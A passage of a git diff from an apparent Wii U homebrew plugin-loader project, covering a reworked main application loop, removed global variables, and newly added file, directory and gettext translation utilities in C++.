+                DEBUG_FUNCTION_LINE("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight());
+
+                //! setup default Font
+                DEBUG_FUNCTION_LINE("Initialize main font system\n");
+                FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
+                GuiText::setPresetFont(fontSystem);
+
+                if(mainWindow == NULL) {
+                    DEBUG_FUNCTION_LINE("Initialize main window\n");
+                    Application::loadLanguageFromConfig();
+                    mainWindow = MainWindow::getInstance(video->getTvWidth(), video->getTvHeight());
+                }
+
+            }
+            executeProcess = true;
+        }
+        break;
+    }
+    case PROCUI_STATUS_IN_BACKGROUND:
+    default:
+        break;
+    }
+
+    return executeProcess;
+}
+
+void Application::executeThread(void) {
+    DEBUG_FUNCTION_LINE("Entering main loop\n");
+
+    //! main GX2 loop (60 Hz cycle with max priority on core 1)
+    while(!exitApplication) {
+        if(procUI() == false)
+            continue;
+
+        //! Read out inputs
+        for(int i = 0; i < 5; i++) {
+            if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)
+                continue;
+
+            if(controller[i]->data.buttons_d & VPAD_BUTTON_PLUS) {
+                if(linkPluginsCallback != NULL) {
+                    bool result = linkPluginsCallback();
+                    if(!result) {
+                        // On linking errors return to the HBL.
+#warning TODO: proper error handling when linking fails.
+                    }
+                }
+                SYSLaunchMenu();
+                //quit(0);
+            }
+
+            //! update controller states
+            mainWindow->update(controller[i]);
+        }
+
+        mainWindow->process();
+
+        //! start rendering DRC
+        video->prepareDrcRendering();
+        mainWindow->drawDrc(video);
+        video->drcDrawDone();
+
+        //! start rendering TV
+        video->prepareTvRendering();
+        mainWindow->drawTv(video);
+        video->tvDrawDone();
+
+        //! enable screen after first frame render
+        if(video->getFrameCount() == 0) {
+            video->tvEnable(true);
+            video->drcEnable(true);
+        }
+
+        //! as last point update the effects as it can drop elements
+        mainWindow->updateEffects();
+
+        video->waitForVSync();
+
+        //! transfer elements to real delete list here after all processes are finished
+        //! the elements are transfered to another list to delete the elements in a separate thread
+        //! and avoid blocking the GUI thread
+        AsyncDeleter::triggerDeleteProcess();
+    }
+
+    //! in case we exit to a homebrew let's smoothly fade out
+    if(video) {
+        fadeOut();
+    }
+
+    DEBUG_FUNCTION_LINE("delete mainWindow\n");
+    MainWindow::destroyInstance();
+    mainWindow = NULL;
+
+    DEBUG_FUNCTION_LINE("delete fontSystem\n");
     delete fontSystem;
-    DEBUG_FUNCTION_LINE("Delete video\n");
+    fontSystem = NULL;
+
+    DEBUG_FUNCTION_LINE("delete video\n");
     delete video;
+    video = NULL;
+
+    DEBUG_FUNCTION_LINE("deinitialze memory\n");
+    memoryRelease();
 }
 
 void Application::loadLanguageFromConfig() {
diff --git a/src/Application.h b/src/Application.h
index 0d5f33d..0a731d7 100644
--- a/src/Application.h
+++ b/src/Application.h
@@ -20,8 +20,9 @@
 
 #include "menu/MainWindow.h"
 #include <functional>
-#include <video/CVideo.h>
+#include <gui/video/CVideo.h>
 #include <system/CThread.h>
+#include "utils/logger.h"
 #include <language/gettext.h>
 
 #define APPLICATION_CLOSE_APPLY             1
@@ -61,6 +62,7 @@ public:
     void quit(int32_t code) {
         exitCode = code;
         exitApplication = true;
+        quitRequest = true;
     }
 
     void setLinkPluginsCallback(std::function<bool(void)> fun) {
@@ -69,23 +71,24 @@ public:
     }
 private:
     Application();
-
     virtual ~Application();
 
+    bool procUI(void);
+
     static Application *applicationInstance;
     static bool exitApplication;
+    static bool quitRequest;
 
     void executeThread(void);
 
     void loadLanguageFromConfig();
 
-    bool reloadUIflag = false;
-
     GuiSound *bgMusic;
     CVideo *video;
     MainWindow *mainWindow;
+    FreeTypeGX *fontSystem;
     GuiController *controller[5];
-    int32_t exitCode;
+    int exitCode;
     std::function<bool(void)> linkPluginsCallback = NULL;
 };
 
diff --git a/src/common/common.h b/src/common/common.h
index cf2f903..7709458 100644
--- a/src/common/common.h
+++ b/src/common/common.h
@@ -5,8 +5,6 @@
 extern "C" {
 #endif
 
-#include <dynamic_libs/os_defs.h>
-
 #define CAFE_OS_SD_PATH             "/vol/external01"
 #define WIIU_PATH                   "/wiiu"
 #define SD_PATH                     "sd:"
@@ -15,16 +13,6 @@ extern "C" {
 #define NAME_PREFIX_SD              "sd: "
 #define NAME_PREFIX_USB             "usb:"
 
-#define ELF_DATA_ADDR               (*(volatile uint32_t*)(MEM_BASE + 0x1300 + 0x00))
-#define ELF_DATA_SIZE               (*(volatile uint32_t*)(MEM_BASE + 0x1300 + 0x04))
-#define MAIN_ENTRY_ADDR             (*(volatile uint32_t*)(MEM_BASE + 0x1400 + 0x00))
-
-#ifndef EXIT_SUCCESS
-#define EXIT_SUCCESS                0
-#endif
-#define EXIT_HBL_EXIT               0xFFFFFFFE
-#define EXIT_RELAUNCH_ON_LOAD       0xFFFFFFFD
-
 #define DEFAULT_WUPSLOADER_PATH     SD_PATH WIIU_PATH "/apps/wiiupluginsystem"
 #define DEFAULT_LANG_PATH           DEFAULT_WUPSLOADER_PATH "/languages"
 #define LANGUAGE_FILE_EXT           ".lang"
diff --git a/src/common/retain_vars.cpp b/src/common/retain_vars.cpp
deleted file mode 100644
index 0470f5e..0000000
--- a/src/common/retain_vars.cpp
+++ /dev/null
@@ -1,26 +0,0 @@
-#include "retain_vars.h"
-#include "myutils/overlay_helper.h"
-replacement_data_t gbl_replacement_data __attribute__((section(".data")));
-dyn_linking_relocation_data_t gbl_dyn_linking_data __attribute__((section(".data")));
-
-uint8_t gAppStatus __attribute__((section(".data"))) = 0;
-bool g_NotInLoader __attribute__((section(".data"))) = false;
-uint64_t gGameTitleID __attribute__((section(".data"))) = 0;
-volatile uint8_t gSDInitDone __attribute__((section(".data"))) = 0;
-
-void * ntfs_mounts __attribute__((section(".data"))) = NULL;
-int32_t ntfs_mount_count __attribute__((section(".data"))) = 0;
-
-struct buffer_store drc_store __attribute__((section(".data")));
-struct buffer_store tv_store __attribute__((section(".data")));
-
-
-char gbl_common_data[0x20000] __attribute__((section(".data")));
-char * gbl_common_data_ptr __attribute__((section(".data"))) = gbl_common_data;
-
-GX2ColorBuffer g_vid_main_cbuf __attribute__((section(".data")));
-GX2Texture g_vid_drcTex __attribute__((section(".data")));
-GX2Sampler g_vid_sampler __attribute__((section(".data")));
-GX2Texture g_vid_tvTex __attribute__((section(".data")));
-GX2ContextState* g_vid_ownContextState  __attribute__((section(".data")));
-GX2ContextState* g_vid_originalContextSave __attribute__((section(".data")))= NULL;
diff --git a/src/common/retain_vars.h b/src/common/retain_vars.h
deleted file mode 100644
index f776957..0000000
--- a/src/common/retain_vars.h
+++ /dev/null
@@ -1,31 +0,0 @@
-#ifndef RETAINS_VARS_H_
-#define RETAINS_VARS_H_
-#include "patcher/function_patcher.h"
-#include "plugin/dynamic_linking_defines.h"
-#include <dynamic_libs/gx2_functions.h>
-
-extern replacement_data_t gbl_replacement_data;
-extern dyn_linking_relocation_data_t gbl_dyn_linking_data;
-
-
-extern bool g_NotInLoader;
-
-extern uint8_t gAppStatus;
-extern uint64_t gGameTitleID;
-extern volatile uint8_t gSDInitDone;
-
-
-extern void * ntfs_mounts;
-extern int32_t ntfs_mount_count;
-
-extern struct buffer_store drc_store;
-extern struct buffer_store tv_store;
-
-extern GX2ColorBuffer g_vid_main_cbuf;
-extern GX2Texture g_vid_drcTex;
-extern GX2Texture g_vid_tvTex;
-extern GX2ContextState* g_vid_ownContextState;
-extern GX2ContextState* g_vid_originalContextSave;
-extern GX2Sampler g_vid_sampler;
-
-#endif // RETAINS_VARS_H_
diff --git a/src/entry.c b/src/entry.c
index cd16e62..cf5d159 100644
--- a/src/entry.c
+++ b/src/entry.c
@@ -1,7 +1,7 @@
 #include <string.h>
 #include "main.h"
 
-int32_t __entry_menu(int32_t argc, char **argv) {
+int32_t main(int32_t argc, char **argv) {
     //! *******************************************************************
     //! *                 Jump to our application                    *
     //! *******************************************************************
diff --git a/src/fs/CFile.cpp b/src/fs/CFile.cpp
new file mode 100644
index 0000000..c9348aa
--- /dev/null
+++ b/src/fs/CFile.cpp
@@ -0,0 +1,172 @@
+#include <stdarg.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <strings.h>
+#include <fs/CFile.hpp>
+
+CFile::CFile() {
+    iFd = -1;
+    mem_file = NULL;
+    filesize = 0;
+    pos = 0;
+}
+
+CFile::CFile(const std::string & filepath, eOpenTypes mode) {
+    iFd = -1;
+    this->open(filepath, mode);
+}
+
+CFile::CFile(const uint8_t * mem, int32_t size) {
+    iFd = -1;
+    this->open(mem, size);
+}
+
+CFile::~CFile() {
+    this->close();
+}
+
+int32_t CFile::open(const std::string & filepath, eOpenTypes mode) {
+    this->close();
+
+    int32_t openMode = 0;
+
+    switch(mode) {
+    default:
+    case ReadOnly:
+        openMode = O_RDONLY;
+        break;
+    case WriteOnly:
+        openMode = O_WRONLY;
+        break;
+    case ReadWrite:
+        openMode = O_RDWR;
+        break;
+    case Append:
+        openMode = O_APPEND | O_WRONLY;
+        break;
+    }
+
+    //! Using fopen works only on the first launch as expected
+    //! on the second launch it causes issues because we don't overwrite
+    //! the .data sections which is needed for a normal application to re-init
+    //! this will be added with launching as RPX
+    iFd = ::open(filepath.c_str(), openMode);
+    if(iFd < 0)
+        return iFd;
+
+
+    filesize = ::lseek(iFd, 0, SEEK_END);
+    ::lseek(iFd, 0, SEEK_SET);
+
+    return 0;
+}
+
+int32_t CFile::open(const uint8_t * mem, int32_t size) {
+    this->close();
+
+    mem_file = mem;
+    filesize = size;
+
+    return 0;
+}
+
+void CFile::close() {
+    if(iFd >= 0)
+        ::close(iFd);
+
+    iFd = -1;
+    mem_file = NULL;
+    filesize = 0;
+    pos = 0;
+}
+
+int32_t CFile::read(uint8_t * ptr, size_t size) {
+    if(iFd >= 0) {
+        int32_t ret = ::read(iFd, ptr,size);
+        if(ret > 0)
+            pos += ret;
+        return ret;
+    }
+
+    int32_t readsize = size;
+
+    if(readsize > (int64_t) (filesize-pos))
+        readsize = filesize-pos;
+
+    if(readsize <= 0)
+        return readsize;
+
+    if(mem_file != NULL) {
+        memcpy(ptr, mem_file+pos, readsize);
+        pos += readsize;
+        return readsize;
+    }
+
+    return -1;
+}
+
+int32_t CFile::write(const uint8_t * ptr, size_t size) {
+    if(iFd >= 0) {
+        size_t done = 0;
+        while(done < size) {
+            int32_t ret = ::write(iFd, ptr, size - done);
+            if(ret <= 0)
+                return ret;
+
+            ptr += ret;
+            done += ret;
+            pos += ret;
+        }
+        return done;
+    }
+
+    return -1;
+}
+
+int32_t CFile::seek(long int offset, int32_t origin) {
+    int32_t ret = 0;
+    int64_t newPos = pos;
+
+    if(origin == SEEK_SET) {
+        newPos = offset;
+    } else if(origin == SEEK_CUR) {
+        newPos += offset;
+    } else if(origin == SEEK_END) {
+        newPos = filesize+offset;
+    }
+
+    if(newPos < 0) {
+        pos = 0;
+    } else {
+        pos = newPos;
+    }
+
+    if(iFd >= 0)
+        ret = ::lseek(iFd, pos, SEEK_SET);
+
+    if(mem_file != NULL) {
+        if(pos > filesize) {
+            pos = filesize;
+        }
+    }
+
+    return ret;
+}
+
+int32_t CFile::fwrite(const char *format, ...) {
+    char tmp[512];
+    tmp[0] = 0;
+    int32_t result = -1;
+
+    va_list va;
+    va_start(va, format);
+    if((vsprintf(tmp, format, va) >= 0)) {
+        result = this->write((uint8_t *)tmp, strlen(tmp));
+    }
+    va_end(va);
+
+
+    return result;
+}
+
+
diff --git a/src/fs/CFile.hpp b/src/fs/CFile.hpp
new file mode 100644
index 0000000..8816a49
--- /dev/null
+++ b/src/fs/CFile.hpp
@@ -0,0 +1,61 @@
+#ifndef CFILE_HPP_
+#define CFILE_HPP_
+
+#include <stdio.h>
+#include <string>
+#include <string.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <wut_types.h>
+
+class CFile {
+public:
+    enum eOpenTypes {
+        ReadOnly,
+        WriteOnly,
+        ReadWrite,
+        Append
+    };
+
+    CFile();
+    CFile(const std::string & filepath, eOpenTypes mode);
+    CFile(const uint8_t * memory, int32_t memsize);
+    virtual ~CFile();
+
+    int32_t open(const std::string & filepath, eOpenTypes mode);
+    int32_t open(const uint8_t * memory, int32_t memsize);
+
+    BOOL isOpen() const {
+        if(iFd >= 0)
+            return true;
+
+        if(mem_file)
+            return true;
+
+        return false;
+    }
+
+    void close();
+
+    int32_t read(uint8_t * ptr, size_t size);
+    int32_t write(const uint8_t * ptr, size_t size);
+    int32_t fwrite(const char *format, ...);
+    int32_t seek(long int offset, int32_t origin);
+    uint64_t tell() {
+        return pos;
+    };
+    uint64_t size() {
+        return filesize;
+    };
+    void rewind() {
+        this->seek(0, SEEK_SET);
+    };
+
+protected:
+    int32_t iFd;
+    const uint8_t * mem_file;
+    uint64_t filesize;
+    uint64_t pos;
+};
+
+#endif
diff --git a/src/fs/DirList.cpp b/src/fs/DirList.cpp
new file mode 100644
index 0000000..6b98c49
--- /dev/null
+++ b/src/fs/DirList.cpp
@@ -0,0 +1,213 @@
+/****************************************************************************
+ * Copyright (C) 2010
+ * by Dimok
+ *
+ * This software is provided 'as-is', without any express or implied
+ * warranty. In no event will the authors be held liable for any
+ * damages arising from the use of this software.
+ *
+ * Permission is granted to anyone to use this software for any
+ * purpose, including commercial applications, and to alter it and
+ * redistribute it freely, subject to the following restrictions:
+ *
+ * 1. The origin of this software must not be misrepresented; you
+ * must not claim that you wrote the original software. If you use
+ * this software in a product, an acknowledgment in the product
+ * documentation would be appreciated but is not required.
+ *
+ * 2. Altered source versions must be plainly marked as such, and
+ * must not be misrepresented as being the original software.
+ *
+ * 3. This notice may not be removed or altered from any source
+ * distribution.
+ *
+ * DirList Class
+ * for WiiXplorer 2010
+ ***************************************************************************/
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <string>
+#include <strings.h>
+#include <algorithm>
+#include <sys/stat.h>
+#include <sys/dirent.h>
+
+#include <fs/DirList.h>
+#include <utils/StringTools.h>
+
+DirList::DirList() {
+    Flags = 0;
+    Filter = 0;
+    Depth = 0;
+}
+
+DirList::DirList(const std::string & path, const char *filter, uint32_t flags, uint32_t maxDepth) {
+    this->LoadPath(path, filter, flags, maxDepth);
+    this->SortList();
+}
+
+DirList::~DirList() {
+    ClearList();
+}
+
+BOOL DirList::LoadPath(const std::string & folder, const char *filter, uint32_t flags, uint32_t maxDepth) {
+    if(folder.empty()) return false;
+
+    Flags = flags;
+    Filter = filter;
+    Depth = maxDepth;
+
+    std::string folderpath(folder);
+    uint32_t length = folderpath.size();
+
+    //! clear path of double slashes
+    StringTools::RemoveDoubleSlashs(folderpath);
+
+    //! remove last slash if exists
+    if(length > 0 && folderpath[length-1] == '/')
+        folderpath.erase(length-1);
+
+    //! add root slash if missing
+    if(folderpath.find('/') == std::string::npos) {
+        folderpath += '/';
+    }
+
+    return InternalLoadPath(folderpath);
+}
+
+BOOL DirList::InternalLoadPath(std::string &folderpath) {
+    if(folderpath.size() < 3)
+        return false;
+
+    struct dirent *dirent = NULL;
+    DIR *dir = NULL;
+
+    dir = opendir(folderpath.c_str());
+    if (dir == NULL)
+        return false;
+
+    while ((dirent = readdir(dir)) != 0) {
+        BOOL isDir = dirent->d_type & DT_DIR;
+        const char *filename = dirent->d_name;
+
+        if(isDir) {
+            if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0)
+                continue;
+
+            if((Flags & CheckSubfolders) && (Depth > 0)) {
+                int32_t length = folderpath.size();
+                if(length > 2 && folderpath[length-1] != '/') {
+                    folderpath += '/';
+                }
+                folderpath += filename;
+
+                Depth--;
+                InternalLoadPath(folderpath);
+                folderpath.erase(length);
+                Depth++;
+            }
+
+            if(!(Flags & Dirs))
+                continue;
+        } else if(!(Flags & Files)) {
+            continue;
+        }
+
+        if(Filter) {
+            char * fileext = strrchr(filename, '.');
+            if(!fileext)
+                continue;
+
+            if(StringTools::strtokcmp(fileext, Filter, ",") == 0)
+                AddEntrie(folderpath, filename, isDir);
+        } else {
+            AddEntrie(folderpath, filename, isDir);
+        }
+    }
+    closedir(dir);
+
+    return true;
+}
+
+void DirList::AddEntrie(const std::string &filepath, const char * filename, BOOL isDir) {
+    if(!filename)
+        return;
+
+    int32_t pos = FileInfo.size();
+
+    FileInfo.resize(pos+1);
+
+    FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);
+    if(!FileInfo[pos].FilePath) {
+        FileInfo.resize(pos);
+        return;
+    }
+
+    sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename);
+    FileInfo[pos].isDir = isDir;
+}
+
+void DirList::ClearList() {
+    for(uint32_t i = 0; i < FileInfo.size(); ++i) {
+        if(FileInfo[i].FilePath) {
+            free(FileInfo[i].FilePath);
+            FileInfo[i].FilePath = NULL;
+        }
+    }
+
+    FileInfo.clear();
+    std::vector<DirEntry>().swap(FileInfo);
+}
+
+const char * DirList::GetFilename(int32_t ind) const {
+    if (!valid(ind))
+        return "";
+
+    return StringTools::FullpathToFilename(FileInfo[ind].FilePath);
+}
+
+static BOOL SortCallback(const DirEntry & f1, const DirEntry & f2) {
+    if(f1.isDir && !(f2.isDir)) return true;
+    if(!(f1.isDir) && f2.isDir) return false;
+
+    if(f1.FilePath && !f2.FilePath) return true;
+    if(!f1.FilePath) return false;
+
+    if(strcasecmp(f1.FilePath, f2.FilePath) > 0)
+        return false;
+
+    return true;
+}
+
+void DirList::SortList() {
+    if(FileInfo.size() > 1)
+        std::sort(FileInfo.begin(), FileInfo.end(), SortCallback);
+}
+
+void DirList::SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b)) {
+    if(FileInfo.size() > 1)
+        std::sort(FileInfo.begin(), FileInfo.end(), SortFunc);
+}
+
+uint64_t DirList::GetFilesize(int32_t index) const {
+    struct stat st;
+    const char *path = GetFilepath(index);
+
+    if(!path || stat(path, &st) != 0)
+        return 0;
+
+    return st.st_size;
+}
+
+int32_t DirList::GetFileIndex(const char *filename) const {
+    if(!filename)
+        return -1;
+
+    for (uint32_t i = 0; i < FileInfo.size(); ++i) {
+        if (strcasecmp(GetFilename(i), filename) == 0)
+            return i;
+    }
+
+    return -1;
+}
diff --git a/src/fs/DirList.h b/src/fs/DirList.h
new file mode 100644
index 0000000..64072df
--- /dev/null
+++ b/src/fs/DirList.h
@@ -0,0 +1,103 @@
+/****************************************************************************
+ * Copyright (C) 2010
+ * by Dimok
+ *
+ * This software is provided 'as-is', without any express or implied
+ * warranty. In no event will the authors be held liable for any
+ * damages arising from the use of this software.
+ *
+ * Permission is granted to anyone to use this software for any
+ * purpose, including commercial applications, and to alter it and
+ * redistribute it freely, subject to the following restrictions:
+ *
+ * 1. The origin of this software must not be misrepresented; you
+ * must not claim that you wrote the original software. If you use
+ * this software in a product, an acknowledgment in the product
+ * documentation would be appreciated but is not required.
+ *
+ * 2. Altered source versions must be plainly marked as such, and
+ * must not be misrepresented as being the original software.
+ *
+ * 3. This notice may not be removed or altered from any source
+ * distribution.
+ *
+ * DirList Class
+ * for WiiXplorer 2010
+ ***************************************************************************/
+#ifndef ___DIRLIST_H_
+#define ___DIRLIST_H_
+
+#include <vector>
+#include <string>
+#include <wut_types.h>
+
+typedef struct {
+    char * FilePath;
+    BOOL isDir;
+} DirEntry;
+
+class DirList {
+public:
+    //!Constructor
+    DirList(void);
+    //!\param path Path from where to load the filelist of all files
+    //!\param filter A fileext that needs to be filtered
+    //!\param flags search/filter flags from the enum
+    DirList(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff);
+    //!Destructor
+    virtual ~DirList();
+    //! Load all the files from a directory
+    BOOL LoadPath(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff);
+    //! Get a filename of the list
+    //!\param list index
+    const char * GetFilename(int32_t index) const;
+    //! Get the a filepath of the list
+    //!\param list index
+    const char *GetFilepath(int32_t index) const {
+        if (!valid(index)) return "";
+        else return FileInfo[index].FilePath;
+    }
+    //! Get the a filesize of the list
+    //!\param list index
+    uint64_t GetFilesize(int32_t index) const;
+    //! Is index a dir or a file
+    //!\param list index
+    BOOL IsDir(int32_t index) const {
+        if(!valid(index)) return false;
+        return FileInfo[index].isDir;
+    };
+    //! Get the filecount of the whole list
+    int32_t GetFilecount() const {
+        return FileInfo.size();
+    };
+    //! Sort list by filepath
+    void SortList();
+    //! Custom sort command for custom sort functions definitions
+    void SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b));
+    //! Get the index of the specified filename
+    int32_t GetFileIndex(const char *filename) const;
+    //! Enum for search/filter flags
+    enum {
+        Files = 0x01,
+        Dirs = 0x02,
+        CheckSubfolders = 0x08,
+    };
+protected:
+    // Internal parser
+    BOOL InternalLoadPath(std::string &path);
+    //!Add a list entrie
+    void AddEntrie(const std::string &filepath, const char * filename, BOOL isDir);
+    //! Clear the list
+    void ClearList();
+    //! Check if valid pos is requested
+    inline BOOL valid(uint32_t pos) const {
+        return (pos < FileInfo.size());
+    };
+
+    uint32_t Flags;
+    uint32_t Depth;
+    const char *Filter;
+    std::vector<DirEntry> FileInfo;
+};
+
+#endif
diff --git a/src/fs/FSUtils.cpp b/src/fs/FSUtils.cpp
new file mode 100644
index 0000000..ba59544
--- /dev/null
+++ b/src/fs/FSUtils.cpp
@@ -0,0 +1,144 @@
+#include <malloc.h>
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <fs/FSUtils.h>
+#include <fs/CFile.hpp>
+#include <utils/logger.h>
+
+int32_t FSUtils::LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size) {
+    //! always initialze input
+    *inbuffer = NULL;
+    if(size)
+        *size = 0;
+
+    int32_t iFd = open(filepath, O_RDONLY);
+    if (iFd < 0)
+        return -1;
+
+    uint32_t filesize = lseek(iFd, 0, SEEK_END);
+    lseek(iFd, 0, SEEK_SET);
+
+    uint8_t *buffer = (uint8_t *) malloc(filesize);
+    if (buffer == NULL) {
+        close(iFd);
+        return -2;
+    }
+
+    uint32_t blocksize = 0x4000;
+    uint32_t done = 0;
+    int32_t readBytes = 0;
+
+    while(done < filesize) {
+        if(done + blocksize > filesize) {
+            blocksize = filesize - done;
+        }
+        readBytes = read(iFd, buffer + done, blocksize);
+        if(readBytes <= 0)
+            break;
+        done += readBytes;
+    }
+
+    close(iFd);
+
+    if (done != filesize) {
+        free(buffer);
+        buffer = NULL;
+        return -3;
+    }
+
+    *inbuffer = buffer;
+
+    //! sign is optional input
+    if(size) {
+        *size = filesize;
+    }
+
+    return filesize;
+}
+
+int32_t FSUtils::CheckFile(const char * filepath) {
+    if(!filepath)
+        return 0;
+
+    struct stat filestat;
+
+    char dirnoslash[strlen(filepath)+2];
+    snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
+
+    while(dirnoslash[strlen(dirnoslash)-1] == '/')
+        dirnoslash[strlen(dirnoslash)-1] = '\0';
+
+    char * notRoot = strrchr(dirnoslash, '/');
+    if(!notRoot) {
+        strcat(dirnoslash, "/");
+    }
+
+    if (stat(dirnoslash, &filestat) == 0)
+        return 1;
+
+    return 0;
+}
+
+int32_t FSUtils::CreateSubfolder(const char * fullpath) {
+    if(!fullpath)
+        return 0;
+
+    int32_t result = 0;
+
+    char dirnoslash[strlen(fullpath)+1];
+    strcpy(dirnoslash, fullpath);
+
+    int32_t pos = strlen(dirnoslash)-1;
+    while(dirnoslash[pos] == '/') {
+        dirnoslash[pos] = '\0';
+        pos--;
+    }
+
+    if(CheckFile(dirnoslash)) {
+        return 1;
+    } else {
+        char parentpath[strlen(dirnoslash)+2];
+        strcpy(parentpath, dirnoslash);
+        char * ptr = strrchr(parentpath, '/');
+
+        if(!ptr) {
+            //!Device root directory (must be with '/')
+            strcat(parentpath, "/");
+            struct stat filestat;
+            if (stat(parentpath, &filestat) == 0)
+                return 1;
+
+            return 0;
+        }
+
+        ptr++;
+        ptr[0] = '\0';
+
+        result = CreateSubfolder(parentpath);
+    }
+
+    if(!result)
+        return 0;
+
+    if (mkdir(dirnoslash, 0777) == -1) {
+        return 0;
+    }
+
+    return 1;
+}
+
+BOOL FSUtils::saveBufferToFile(const char * path, void * buffer, uint32_t size) {
+    int32_t res = open(path, O_CREAT | O_TRUNC | O_WRONLY);
+    close(res);
+    CFile file(path, CFile::WriteOnly);
+    if (!file.isOpen()) {
+        DEBUG_FUNCTION_LINE("Failed to open %s\n",path);
+        return false;
+    }
+    file.write((const uint8_t*) buffer,size);
+    file.close();
+    return true;
+}
+
diff --git a/src/fs/FSUtils.h b/src/fs/FSUtils.h
new file mode 100644
index 0000000..b589a44
--- /dev/null
+++ b/src/fs/FSUtils.h
@@ -0,0 +1,16 @@
+#ifndef __FS_UTILS_H_
+#define __FS_UTILS_H_
+
+#include <wut_types.h>
+
+class FSUtils {
+public:
+    static int32_t LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size);
+
+    //! todo: C++ class
+    static int32_t CreateSubfolder(const char * fullpath);
+    static int32_t CheckFile(const char * filepath);
+    static BOOL saveBufferToFile(const char * path, void * buffer, uint32_t size);
+};
+
+#endif // __FS_UTILS_H_
diff --git a/src/language/gettext.cpp b/src/language/gettext.cpp
new file mode 100644
index 0000000..b2f7d0d
--- /dev/null
+++ b/src/language/gettext.cpp
@@ -0,0 +1,270 @@
+/****************************************************************************
+ * Copyright (C) 2015 Dimok
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+#include <string>
+#include <vector>
+#include "language/gettext.h"
+#include <fs/CFile.hpp>
+#include <utils/StringTools.h>
+
+
+char* strdup (const char* s)
+{
+  size_t slen = strlen(s);
+  char* result = (char *) malloc(slen + 1);
+  if(result == NULL)
+  {
+    return NULL;
+  }
+
+  memcpy(result, s, slen+1);
+  return result;
+}
+
+typedef struct _MSG {
+    uint32_t id;
+    char* msgstr;
+    struct _MSG *next;
+} MSG;
+static MSG *baseMSG = 0;
+
+#define HASHWORDBITS 32
+
+/* Defines the so called `hashpjw' function by P.J. Weinberger
+ [see Aho/Sethi/Ullman, COMPILERS: Principles, Techniques and Tools,
+ 1986, 1987 Bell Telephone Laboratories, Inc.]  */
+static inline uint32_t hash_string(const char *str_param) {
+    uint32_t hval, g;
+    const char *str = str_param;
+
+    /* Compute the hash value for the given string.  */
+    hval = 0;
+    while (*str != '\0') {
+        hval <<= 4;
+        hval += (uint8_t) *str++;
+        g = hval & ((uint32_t) 0xf << (HASHWORDBITS - 4));
+        if (g != 0) {
+            hval ^= g >> (HASHWORDBITS - 8);
+            hval ^= g;
+        }
+    }
+    return hval;
+}
+
+/* Expand some escape sequences found in the argument string.  */
+static char *
+expand_escape(const char *str) {
+    char *retval, *rp;
+    const char *cp = str;
+
+    retval = (char *) malloc(strlen(str) + 1);
+    if (retval == NULL) return NULL;
+    rp = retval;
+
+    while (cp[0] != '\0' && cp[0] != '\\')
+        *rp++ = *cp++;
+    if (cp[0] == '\0') goto terminate;
+    do {
+
+        /* Here cp[0] == '\\'.  */
+        switch (*++cp) {
+        case '\"': /* " */
+            *rp++ = '\"';
+            ++cp;
+            break;
+        case 'a': /* alert */
+            *rp++ = '\a';
+            ++cp;
+            break;
+        case 'b': /* backspace */
+            *rp++ = '\b';
+            ++cp;
+            break;
+        case 'f': /* form feed */
+            *rp++ = '\f';
+            ++cp;
+            break;
+        case 'n': /* new line */
+            *rp++ = '\n';
+            ++cp;
+            break;
+        case 'r': /* carriage return */
+            *rp++ = '\r';
+            ++cp;
+            break;
+        case 't': /* horizontal tab */
+            *rp++ = '\t';
+            ++cp;
+            break;
+        case 'v': /* vertical tab */
+            *rp++ = '\v';
+            ++cp;
+            break;
+        case '\\':
+            *rp = '\\';
+            ++cp;
+            break;
+        case '0':
+        case '1':
+        case '2':
+        case '3':
+        case '4':
+        case '5':
+        case '6':
+        case '7': {
+            int ch = *cp++ - '0';
+
+            if (*cp >= '0' && *cp <= '7') {
+                ch *= 8;
+                ch += *cp++ - '0';
+
+                if (*cp >= '0' && *cp <= '7') {
+                    ch *= 8;
+                    ch += *cp++ - '0';
+                }
+            }
+            *rp = ch;
+        }
+        break;
+        default:
+            *rp = '\\';
+            break;
+        }
+
+        while (cp[0] != '\0' && cp[0] != '\\')
+            *rp++ = *cp++;
+    } while (cp[0] != '\0');
+
+    /* Terminate string.  */
+terminate:
+    *rp = '\0';
+    return retval;
+}
+
+static MSG *findMSG(uint32_t id) {
+    MSG *msg;
+    for (msg = baseMSG; msg; msg = msg->next) {
+        if (msg->id == id) return msg;
+    }
+    return NULL;
+}
+
+static MSG *setMSG(const char *msgid, const char *msgstr) {
+    uint32_t id = hash_string(msgid);
+    MSG *msg = findMSG(id);
+    if (!msg) {
+        msg = (MSG *) malloc(sizeof(MSG));
+        msg->id = id;
+        msg->msgstr = NULL;
+        msg->next = baseMSG;
+        baseMSG = msg;
+    }
+    if (msg) {
+        if (msgstr) {
+            if (msg->msgstr) free(msg->msgstr);
+            //msg->msgstr = strdup(msgstr);
+            msg->msgstr = expand_escape(msgstr);
+        }
+        return msg;
+    }
+    return NULL;
+}
+
+extern "C" void gettextCleanUp(void) {
+    while (baseMSG) {
